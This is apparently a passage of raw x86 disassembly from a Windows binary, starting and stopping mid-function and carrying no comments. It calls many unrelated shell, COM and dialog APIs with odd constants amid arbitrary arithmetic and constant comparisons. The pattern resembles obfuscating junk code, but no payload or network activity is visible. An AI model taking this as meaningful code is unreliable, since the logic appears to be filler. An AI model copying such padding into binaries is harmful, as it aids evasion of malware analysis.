push eax
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x950], eax
jmp 0x428916
movzx edx, byte [ebp - 0x2521]
mov eax, dword [ebp - 0x3868]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x17fc]
movzx eax, byte [ecx]
mov ecx, dword [ebp - 0x1678]
movzx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jl 0x428916
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x22c]
mov word [ecx], ax
mov edx, dword [ebp - 0x1f58]
mov eax, dword [edx]
add eax, dword [ebp - 0x25c4]
mov ecx, dword [ebp - 0x29dc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2aa6]
sub eax, ecx
movsx edx, byte [ebp - 0x2569]
movsx ecx, byte [ebp - 0x2171]
add edx, ecx
cmp eax, edx
jge 0x4289a4
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
movzx ecx, word [ebp + 8]
and eax, ecx
mov word [ebp - 0x1650], ax
mov edx, dword [ebp - 0x2534]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x1220]
call fcn.004721c0
mov eax, dword [ebp - 0x381c]
sub eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x22e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2521]
or eax, ecx
mov byte [ebp + 0xc], al
call fcn.0046d040
lea edx, [ebp - 0x23a0]
push edx
lea eax, [ebp - 0x31bc]
push eax
lea ecx, [ebp - 0x2a00]
push ecx
mov edx, dword [ebp - 0x254c]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0x1a58], eax
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], al
jmp 0x428a33
mov edx, dword [ebp - 0x538]
mov dword [ebp - 0x3b28], edx
cmp dword [ebp - 0x3b28], 0x1ac89463
je 0x428a07
jmp 0x428a09
jmp 0x428a1d
mov eax, dword [ebp - 0x1bd4]
mov ecx, dword [ebp - 0x538]
add ecx, dword [eax]
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x38fc]
mov eax, dword [edx]
and eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x29dc]
mov dword [ecx], eax
lea edx, [ebp - 0x668]
push edx
lea eax, [ebp - 0x23a0]
push eax
call dword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [ebp - 0x1bac], eax
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [ecx]
mov dword [ebp - 0x3b2c], edx
cmp dword [ebp - 0x3b2c], 0x4ec6e29d
je 0x428a6b
jmp 0x428a94
mov eax, dword [ebp - 0x38fc]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2a4c]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
lea eax, [ebp - 0x3580]
push eax
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0x2218], eax
movzx edx, word [ebp - 0x169c]
movzx ecx, word [ebp + 8]
sar edx, cl
mov eax, dword [ebp - 0x100]
mov word [eax], dx
push 0x2f
lea ecx, [ebp - 0x254c]
push ecx
push 0x29
lea edx, [ebp - 0x1b34]
push edx
lea eax, [ebp - 0x3974]
push eax
lea ecx, [ebp - 0x25c4]
push ecx
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0x1acc], eax
mov edx, dword [ebp - 0x2534]
mov eax, dword [ebp - 0x381c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x538], eax
jmp 0x428c19
mov ecx, dword [ebp - 0x29dc]
mov edx, dword [ebp - 0x798]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3580]
sub eax, dword [ebp - 0x2ca4]
cmp edx, eax
jge 0x428c19
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x1d78]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x718]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x38c]
mov dl, byte [ecx]
mov eax, dword [ebp - 0x3868]
mov cl, byte [eax]
call fcn.00478870
movzx ecx, word [ebp - 0x1220]
mov dword [ebp - 0x3b30], ecx
cmp dword [ebp - 0x3b30], 0xdfc
je 0x428b64
jmp 0x428bfe
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x7cc]
or eax, dword [edx]
mov ecx, dword [ebp - 0x2534]
mov dword [ecx], eax
lea edx, [ebp - 0xb38]
push edx
call dword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [ebp - 0x2a94], eax
mov eax, dword [ebp - 0x1678]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x18ed]
sar edx, cl
mov byte [ebp + 0xc], dl
mov eax, dword [ebp - 0x1f58]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x1f58]
mov dword [edx], ecx
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x269c], eax
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x1d78]
movzx ecx, byte [eax]
push ecx
call fcn.004d1cd0
mov edx, dword [ebp - 0x16cc]
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
jmp 0x428c19
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1650], cx
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [ebp - 0x7cc]
mov edx, dword [ebp - 0x2534]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d3c]
mov ecx, dword [eax]
mov dword [ebp - 0x3b34], ecx
cmp dword [ebp - 0x3b34], 0x2a491204
je 0x428cb7
cmp dword [ebp - 0x3b34], 0x2f33056b
je 0x428c58
jmp 0x428cd8
mov edx, dword [ebp - 0x3168]
add edx, dword [ebp - 0x16fc]
mov dword [ebp - 0x2ca4], edx
mov eax, dword [ebp - 0x17fc]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0xc1c]
mov word [ecx], dx
movzx edx, byte [ebp + 0xc]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2521], dl
jmp 0x428cd8
push 0xe1
mov edx, dword [ebp - 0x1608]
push edx
push 4
mov eax, dword [ebp - 0x6d0]
push eax
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x7cc], eax
jmp 0x428d9f
mov cl, byte [ebp - 0x2521]
mov byte [ebp - 0x3b38], cl
cmp byte [ebp - 0x3b38], 0x22
je 0x428d04
cmp byte [ebp - 0x3b38], 0x24
je 0x428d85
jmp 0x428d9f
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x17fc]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp + 0xc], al
lea eax, [ebp - 0x2814]
push eax
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x2a04]
mov word [eax], dx
mov ecx, dword [ebp - 0x16cc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2b50]
call fcn.004721c0
movzx edx, byte [ebp + 0xc]
movzx eax, byte [ebp - 0x2521]
add edx, eax
mov byte [ebp - 0x3495], dl
movsx ecx, byte [ebp - 0x1f4e]
movsx edx, byte [ebp - 0x2569]
add ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
jmp 0x428d9f
lea ecx, [ebp - 0x254c]
push ecx
lea edx, [ebp - 0x34c0]
push edx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0xd60], eax
movzx eax, word [ebp - 0x169c]
movzx ecx, word [ebp - 0x2b50]
shl eax, cl
mov word [ebp - 0x24a0], ax
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x3868]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x1ec]
mov byte [edx], cl
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x3b3c], cl
cmp byte [ebp - 0x3b3c], 0x20
je 0x428de9
jmp 0x428e3d
lea edx, [ebp - 0x354]
push edx
call dword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [ebp - 0xe38], eax
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x25c4]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x16cc]
mov edx, dword [ebp - 0x381c]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x538], edx
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x1a58], eax
jmp 0x428e53
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [ebp - 0x2a4c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
lea ecx, [ebp - 0x180]
push ecx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x1a58], eax
movsx edx, byte [ebp - 0x2569]
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
and edx, ecx
movsx eax, byte [ebp - 0x1f4e]
movsx ecx, byte [ebp - 0x2aa6]
add eax, ecx
cmp edx, eax
jne 0x428f98
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x26fc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1d78]
mov dl, byte [ecx]
mov byte [ebp - 0x3b40], dl
cmp byte [ebp - 0x3b40], 0x19
je 0x428ed3
cmp byte [ebp - 0x3b40], 0x4a
je 0x428f85
jmp 0x428f98
mov eax, dword [ebp - 0x22c]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x2569]
push edx
movzx eax, word [ebp - 0x17e0]
push eax
mov dl, byte [ebp + 0xc]
mov cl, byte [ebp - 0x2521]
call fcn.00478870
movzx edx, word [ebp - 0x169c]
mov eax, dword [ebp - 0x22c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1220], dx
mov ecx, dword [ebp - 0x1d78]
mov dl, byte [ecx]
mov byte [ebp - 0x3b44], dl
cmp byte [ebp - 0x3b44], 0x3c
je 0x428f2d
jmp 0x428f68
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f4e]
or ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
push 0x8d
mov ecx, dword [ebp - 0x33bc]
push ecx
mov edx, dword [ebp - 0x2a78]
push edx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
mov dword [ebp - 0x2d94], eax
jmp 0x428f83
mov eax, dword [ebp - 0x718]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x60c]
sar edx, cl
mov eax, dword [ebp - 0x718]
mov word [eax], dx
jmp 0x428f98
movzx ecx, byte [ebp - 0x2521]
movzx edx, byte [ebp - 0x3495]
add ecx, edx
mov byte [ebp + 0xc], cl
movzx eax, byte [ebp - 0x3495]
push eax
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
push edx
call section..text
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x140c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
mov dword [ebp - 0x3b48], edx
cmp dword [ebp - 0x3b48], 0x1548994a
je 0x428fe3
jmp 0x428ffc
movzx eax, word [ebp - 0x2b50]
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x169c], ax
mov eax, dword [ebp - 0x31d0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2a4c]
mov dword [ebp - 0x16fc], ecx
lea edx, [ebp - 0xd00]
push edx
lea eax, [ebp - 0x31bc]
push eax
call dword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [ebp - 0x287c], eax
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
add edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
lea ecx, [ebp - 0x1ee4]
push ecx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x668], eax
jmp 0x429126
mov edx, dword [ebp - 0x1678]
mov al, byte [edx]
mov byte [ebp - 0x3b4c], al
cmp byte [ebp - 0x3b4c], 0x81
je 0x429071
jmp 0x429073
jmp 0x4290a5
movsx ecx, word [ebp - 0x60c]
movsx edx, word [ebp - 0x35b8]
or ecx, edx
mov eax, dword [ebp - 0x718]
mov word [eax], cx
push 0x88
mov ecx, dword [ebp - 0x175c]
push ecx
mov edx, dword [ebp - 0x16f4]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x186c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x18ed]
movzx edx, byte [ebp - 0x2521]
add ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0x255c]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x6d4], eax
call fcn.004d7e60
movzx ecx, word [ebp - 0x2b50]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x2094]
mov word [edx], cx
push 0x37
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x51c], eax
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0xc]
and ecx, edx
mov byte [ebp - 0x3495], cl
movzx eax, byte [ebp - 0x3495]
push eax
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
push edx
call section..text
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2094]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1220], cx
movzx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1ec]
mov byte [edx], cl
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x538]
push edx
movzx eax, word [ebp - 0x35b8]
push eax
movzx ecx, byte [ebp - 0x1f4e]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
call fcn.00429f50
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x25c4]
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x381c]
mov dword [ebp - 0x7cc], edx
jmp 0x42920c
lea eax, [ebp - 0x2178]
push eax
push 0xfb
lea ecx, [ebp - 0xc30]
push ecx
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0x14f8], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
and eax, dword [ebp - 0x25c4]
mov ecx, dword [ebp - 0x38fc]
mov dword [ecx], eax
mov dl, byte [ebp - 0x2aa6]
mov byte [ebp - 0x3b50], dl
cmp byte [ebp - 0x3b50], 0x6d
je 0x429223
jmp 0x429244
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x26fc]
mov byte [edx], cl
jmp 0x42930c
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2094]
movzx eax, word [edx]
and ecx, eax
movzx edx, word [ebp - 0x24a0]
mov eax, dword [ebp - 0x100]
movzx eax, word [eax]
add edx, eax
cmp ecx, edx
jge 0x4292f8
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [ebp - 0x2708], eax
movzx edx, word [ebp - 0x24a0]
mov dword [ebp - 0x3b54], edx
cmp dword [ebp - 0x3b54], 0xbfb
je 0x4292a0
jmp 0x4292dc
mov eax, dword [ebp - 0x140c]
mov ecx, dword [ebp - 0x7cc]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1d24]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x18ed]
movzx ecx, byte [ebp - 0x3495]
shl eax, cl
mov byte [ebp + 0xc], al
push 0xcd
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x1374], eax
jmp 0x4292f6
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x31d0]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x1d3c]
mov dword [ecx], eax
jmp 0x42930c
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
add eax, dword [ebp - 0x381c]
mov dword [ebp - 0x538], eax
lea ecx, [ebp - 0x1678]
push ecx
lea edx, [ebp - 0xb0c]
push edx
push 0x8a
mov eax, dword [ebp - 0xd00]
push eax
call dword [sym.imp.ole32.dll_IsAccelerator]
mov dword [ebp - 0x1ce4], eax
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x2b50]
and edx, eax
mov ecx, dword [ebp - 0x100]
mov word [ecx], dx
movsx edx, byte [ebp - 0x1f4e]
movsx eax, byte [ebp - 0x2aa6]
add edx, eax
mov ecx, dword [ebp - 0x1d78]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x2569]
add eax, ecx
cmp edx, eax
je 0x429478
mov edx, dword [ebp - 0x1d78]
mov al, byte [edx]
mov byte [ebp - 0x3b58], al
cmp byte [ebp - 0x3b58], 0x1c
je 0x4293a0
cmp byte [ebp - 0x3b58], 0x2c
je 0x429452
jmp 0x429478
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp + 8], dx
call fcn.0046d040
lea edx, [ebp - 0x354]
push edx
lea eax, [ebp - 0xb38]
push eax
call dword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [ebp - 0x2218], eax
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x2a4c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x186c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x18ed]
push ecx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0x35b8]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x1d78]
movzx edx, byte [ecx]
push edx
call fcn.00429f50
movsx eax, byte [ebp - 0x2569]
movsx ecx, byte [ebp - 0x2aa6]
add eax, ecx
mov byte [ebp - 0x1f4e], al
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x17e0]
sub eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
jmp 0x429478
lea eax, [ebp - 0xe14]
push eax
lea ecx, [ebp - 0x93c]
push ecx
push 0xe7
push 0x10
push 0xa4
call dword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [ebp - 0x287c], eax
jmp 0x4294f5
mov edx, dword [ebp - 0x3580]
and edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
movsx ecx, word [ebp - 0x60c]
mov dword [ebp - 0x3b5c], ecx
cmp dword [ebp - 0x3b5c], 0x7ee8
je 0x4294ab
jmp 0x4294db
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x140c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1d24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2521]
or ecx, edx
mov byte [ebp - 0x3495], cl
lea eax, [ebp - 0xe14]
push eax
lea ecx, [ebp - 0x23a0]
push ecx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [ebp - 0x220c], eax
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp + 8]
push ecx
call section..text
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
mov dword [ebp - 0x3b60], eax
cmp dword [ebp - 0x3b60], 0x756e
je 0x429526
jmp 0x429528
jmp 0x42953f
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x100]
mov word [ecx], ax
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x18ed]
add eax, ecx
mov byte [ebp - 0x2521], al
lea edx, [ebp - 0x24a0]
push edx
push 0x25
lea eax, [ebp - 0x1d78]
push eax
push 0x3b
lea ecx, [ebp - 0x2118]
push ecx
lea edx, [ebp - 0xb0c]
push edx
call dword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [ebp - 0x14f8], eax
mov eax, dword [ebp - 0x381c]
sub eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
push 0
lea edx, [ebp - 0x1ee4]
push edx
call dword [sym.imp.ole32.dll_OleGetIconOfFile]
mov dword [ebp - 0x1d5c], eax
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
xor ecx, edx
mov byte [ebp - 0x2521], cl
movsx eax, byte [ebp - 0x2569]
movsx ecx, byte [ebp - 0x1f4e]
shl eax, cl
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x2aa6]
and edx, ecx
cmp eax, edx
je 0x42969f
movzx edx, word [ebp - 0x20b4]
mov dword [ebp - 0x3b64], edx
cmp dword [ebp - 0x3b64], 0xa4c
je 0x429626
jmp 0x42968c
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2a04]
mov word [edx], cx
lea eax, [ebp - 0x1e80]
push eax
lea ecx, [ebp - 0x31bc]
push ecx
push 0xbe
call dword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [ebp - 0x2218], eax
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x2a4c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x31d0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x25c4]
add edx, dword [ebp - 0x3580]
mov dword [ebp - 0x2ca4], edx
jmp 0x42969f
push 0x21
push 0xff
call dword [sym.imp.ole32.dll_CoCancelCall]
mov dword [ebp - 0x14f8], eax
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x7cc]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
lea eax, [ebp - 0x22e0]
push eax
call dword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [ebp - 0x1acc], eax
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2ca4]
sar eax, cl
mov dword [ebp - 0x3168], eax
movzx ecx, byte [ebp - 0x18ed]
push ecx
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x718]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x1d78]
movzx ecx, byte [eax]
push ecx
movzx edx, byte [ebp - 0x2569]
push edx
call fcn.00429f50
lea eax, [ebp - 0x1ee4]
push eax
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x2708], eax
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3168]
shl edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
call fcn.0046d040
movzx ecx, word [ebp - 0x1650]
movzx edx, word [ebp - 0x2b50]
sub ecx, edx
mov word [ebp + 8], cx
jmp 0x4297b7
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp + 0xc], dl
movzx edx, byte [ebp - 0x3495]
movzx eax, byte [ebp - 0x18ed]
sub edx, eax
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], dl
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x381c]
and eax, dword [edx]
mov dword [ebp - 0x538], eax
lea ecx, [ebp - 0x2424]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x1510], eax
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x3580]
or eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x3794]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x3580], edx
lea eax, [ebp - 0x930]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x25c4], eax
jmp 0x429943
mov ecx, dword [ebp - 0x538]
mov dword [ebp - 0x3b68], ecx
cmp dword [ebp - 0x3b68], 0x1d9c0518
je 0x429841
jmp 0x42992e
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx eax, byte [ebp + 0xc]
add ecx, eax
cmp edx, ecx
jg 0x4298fb
mov ecx, dword [ebp - 0x2ca4]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [ebp - 0x1678]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x3495]
sar edx, cl
mov byte [ebp + 0xc], dl
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x24a0]
or ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
movzx ecx, byte [ebp - 0x3495]
push ecx
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
push eax
call section..text
push 0xcc
mov ecx, dword [ebp - 0x275c]
push ecx
mov edx, dword [ebp - 0x275c]
push edx
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x60c], ax
mov eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x538]
shl eax, cl
mov ecx, dword [ebp - 0x22e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x538]
mov dword [ebp - 0x7cc], eax
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1b34]
mov word [eax], dx
jmp 0x429943
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
and edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x2569]
push eax
movzx ecx, word [ebp - 0x35b8]
push ecx
mov dl, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
mov cl, byte [eax]
call fcn.00478870
movsx ecx, word [ebp - 0x17e0]
movsx edx, word [ebp - 0x35b8]
add ecx, edx
mov eax, dword [ebp - 0x718]
movsx edx, word [eax]
cmp ecx, edx
jne 0x4299e4
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
add ecx, 0x52
mov byte [ebp - 0x2569], cl
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
push eax
